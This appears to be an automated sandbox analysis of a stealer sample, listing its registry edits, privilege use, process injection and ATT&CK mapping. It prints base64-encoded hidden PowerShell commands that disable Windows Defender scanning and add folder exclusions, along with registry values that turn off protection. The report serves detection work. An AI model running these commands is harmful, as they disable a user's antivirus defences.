349e14b2cc7ac6c2b9dfc77dd098d17d38387454908cb1444d57a3bea124c5f6

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	2026-07-31_131bf74b7a6f3ab69dbac438612411ee_akira_glassworm_rusty-stealer.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	2026-07-31_131bf74b7a6f3ab69dbac438612411ee_akira_glassworm_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	2026-07-31_131bf74b7a6f3ab69dbac438612411ee_akira_glassworm_rusty-stealer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	2026-07-31_131bf74b7a6f3ab69dbac438612411ee_akira_glassworm_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	2026-07-31_131bf74b7a6f3ab69dbac438612411ee_akira_glassworm_rusty-stealer.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	2026-07-31_131bf74b7a6f3ab69dbac438612411ee_akira_glassworm_rusty-stealer.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2312	powershell.exe
1188	powershell.exe

Windows security modification 2 TTPs 1 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features	2026-07-31_131bf74b7a6f3ab69dbac438612411ee_akira_glassworm_rusty-stealer.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1188	powershell.exe
1188	powershell.exe
2312	powershell.exe
2312	powershell.exe
1188	powershell.exe
2312	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeDebugPrivilege	1188	powershell.exe
Token: SeIncreaseQuotaPrivilege	1188	powershell.exe
Token: SeSecurityPrivilege	1188	powershell.exe
Token: SeTakeOwnershipPrivilege	1188	powershell.exe
Token: SeLoadDriverPrivilege	1188	powershell.exe
Token: SeSystemProfilePrivilege	1188	powershell.exe
Token: SeSystemtimePrivilege	1188	powershell.exe
Token: SeProfSingleProcessPrivilege	1188	powershell.exe
Token: SeIncBasePriorityPrivilege	1188	powershell.exe
Token: SeCreatePagefilePrivilege	1188	powershell.exe
Token: SeBackupPrivilege	1188	powershell.exe
Token: SeRestorePrivilege	1188	powershell.exe
Token: SeShutdownPrivilege	1188	powershell.exe
Token: SeDebugPrivilege	1188	powershell.exe
Token: SeSystemEnvironmentPrivilege	1188	powershell.exe
Token: SeRemoteShutdownPrivilege	1188	powershell.exe
Token: SeUndockPrivilege	1188	powershell.exe
Token: SeManageVolumePrivilege	1188	powershell.exe
Token: 33	1188	powershell.exe
Token: 34	1188	powershell.exe
Token: 35	1188	powershell.exe
Token: 36	1188	powershell.exe
Token: SeIncreaseQuotaPrivilege	2312	powershell.exe
Token: SeSecurityPrivilege	2312	powershell.exe
Token: SeTakeOwnershipPrivilege	2312	powershell.exe
Token: SeLoadDriverPrivilege	2312	powershell.exe
Token: SeSystemProfilePrivilege	2312	powershell.exe
Token: SeSystemtimePrivilege	2312	powershell.exe
Token: SeProfSingleProcessPrivilege	2312	powershell.exe
Token: SeIncBasePriorityPrivilege	2312	powershell.exe
Token: SeCreatePagefilePrivilege	2312	powershell.exe
Token: SeBackupPrivilege	2312	powershell.exe
Token: SeRestorePrivilege	2312	powershell.exe
Token: SeShutdownPrivilege	2312	powershell.exe
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeSystemEnvironmentPrivilege	2312	powershell.exe
Token: SeRemoteShutdownPrivilege	2312	powershell.exe
Token: SeUndockPrivilege	2312	powershell.exe
Token: SeManageVolumePrivilege	2312	powershell.exe
Token: 33	2312	powershell.exe
Token: 34	2312	powershell.exe
Token: 35	2312	powershell.exe
Token: 36	2312	powershell.exe
Token: SeIncreaseQuotaPrivilege	2312	powershell.exe
Token: SeSecurityPrivilege	2312	powershell.exe
Token: SeTakeOwnershipPrivilege	2312	powershell.exe
Token: SeLoadDriverPrivilege	2312	powershell.exe
Token: SeSystemProfilePrivilege	2312	powershell.exe
Token: SeSystemtimePrivilege	2312	powershell.exe
Token: SeProfSingleProcessPrivilege	2312	powershell.exe
Token: SeIncBasePriorityPrivilege	2312	powershell.exe
Token: SeCreatePagefilePrivilege	2312	powershell.exe
Token: SeBackupPrivilege	2312	powershell.exe
Token: SeRestorePrivilege	2312	powershell.exe
Token: SeShutdownPrivilege	2312	powershell.exe
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeSystemEnvironmentPrivilege	2312	powershell.exe
Token: SeRemoteShutdownPrivilege	2312	powershell.exe
Token: SeUndockPrivilege	2312	powershell.exe
Token: SeManageVolumePrivilege	2312	powershell.exe
Token: 33	2312	powershell.exe
Token: 34	2312	powershell.exe
Token: 35	2312	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4252 wrote to memory of 2312	4252	2026-07-31_131bf74b7a6f3ab69dbac438612411ee_akira_glassworm_rusty-stealer.exe	89
PID 4252 wrote to memory of 1188	4252	2026-07-31_131bf74b7a6f3ab69dbac438612411ee_akira_glassworm_rusty-stealer.exe	90

C:\Users\Admin\AppData\Local\Temp\2026-07-31_131bf74b7a6f3ab69dbac438612411ee_akira_glassworm_rusty-stealer.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-31_131bf74b7a6f3ab69dbac438612411ee_akira_glassworm_rusty-stealer.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- Windows security modification
- Suspicious use of WriteProcessMemory
PID:4252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -NoP -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEIAZQBoAGEAdgBpAG8AcgBNAG8AbgBpAHQAbwByAGkAbgBnACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAFMAZQB0AC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEQAaQBzAGEAYgBsAGUAQgBsAG8AYwBrAEEAdABGAGkAcgBzAHQAUwBlAGUAbgAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAEkATwBBAFYAUAByAG8AdABlAGMAdABpAG8AbgAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBEAGkAcwBhAGIAbABlAFMAYwByAGkAcAB0AFMAYwBhAG4AbgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBNAEEAUABTAFIAZQBwAG8AcgB0AGkAbgBnACAAMAAgAC0ARgBvAHIAYwBlACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABTAGUAdAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBTAHUAYgBtAGkAdABTAGEAbQBwAGwAZQBzAEMAbwBuAHMAZQBuAHQAIAAyACAALQBGAG8AcgBjAGUAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonI -W Hidden -NoP -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAALQBFAEEAIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAIAAtAEUAQQAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1188

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry